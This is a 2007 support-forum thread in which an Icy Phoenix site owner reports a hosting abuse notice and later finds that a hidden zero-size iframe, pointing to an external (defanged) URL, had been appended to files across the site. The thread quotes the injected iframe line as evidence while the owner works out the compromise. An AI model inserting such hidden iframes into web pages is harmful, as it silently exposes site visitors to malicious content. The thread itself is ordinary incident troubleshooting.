https://www.icyphoenix.com/viewtopic.php?f=35&t=2658
-----------------------------------
Vortex
Tue 21 Aug, 2007 13:28

Site Hacked?
-----------------------------------
I received an abuse notification by my host service regarding mail scripts.


Is there someone of the staff i can send the details of the notification by PM so you can help me find how they exploited the site?


-----------------------------------
Mighty Gorgon
Tue 21 Aug, 2007 14:28

Re: Site Hacked?
-----------------------------------
[quote user="Vortex" post="18754"]I received an abuse notification by my host service regarding mail scripts.


Is there someone of the staff i can send the details of the notification by PM so you can help me find how they exploited the site?[/quote]
Are you sure that Icy Phoenix has been hacked?

Do you have some other scripts on your sites other than Icy Phoenix?

Is your htaccess working properly?

Try to send me the log... :roll:


-----------------------------------
Vortex
Tue 21 Aug, 2007 15:30

Re: Site Hacked?
-----------------------------------
[quote user="Mighty Gorgon" post="18760"][quote user="Vortex" post="18754"]I received an abuse notification by my host service regarding mail scripts.


Is there someone of the staff i can send the details of the notification by PM so you can help me find how they exploited the site?[/quote]
Are you sure that Icy Phoenix has been hacked?

Do you have some other scripts on your sites other than Icy Phoenix?

Is your htaccess working properly?

Try to send me the log... :roll:[/quote]


No I'm not sure is IP fault... that's why I ask for your help :(


Sending details by pm, thanks a lot for the quick answer.


-----------------------------------
Mighty Gorgon
Tue 21 Aug, 2007 16:24

Re: Site Hacked?
-----------------------------------
AFAIK there are no known security issues affecting Icy Phoenix...

I hope you'll be able to solve your problems. :wink:


-----------------------------------
novice programmer
Tue 21 Aug, 2007 19:06

Re: Site Hacked?
-----------------------------------
[quote user="Vortex" post="18754"]I received an abuse notification by my host service regarding mail scripts.
[/quote]

It could be that if you use the mass mail fuction and refreshed the page several times you ordered a big sending of e-mails


-----------------------------------
Vortex
Thu 13 Sep, 2007 15:06

Re: Site Hacked?
-----------------------------------
Well, during a maintenance I found this line at the end of (I suppose) all my files in [b]/includes[/b] folder :shock: :


[spoiler] <IFRAME src="http://usuarios.arnet.com.ar/alvarezluque/morgan___NO_CLICK___.html" width="0" height="0" frameborder="0"></iframe>[/spoiler]


What do you think about it?



Edit: that line is also in all [b]root[/b] folder's files.


-----------------------------------
Vortex
Thu 13 Sep, 2007 17:25

Re: Site Hacked?
-----------------------------------
Solved, you can close.


All explanations are here: http://www.icyphoenix.com/viewtopic.php?t=2779&p=19602#p19602


Bye ;)


-----------------------------------
Mighty Gorgon
Mon 17 Sep, 2007 01:41

Re: Site Hacked?
-----------------------------------
Ok... closing... :wink:


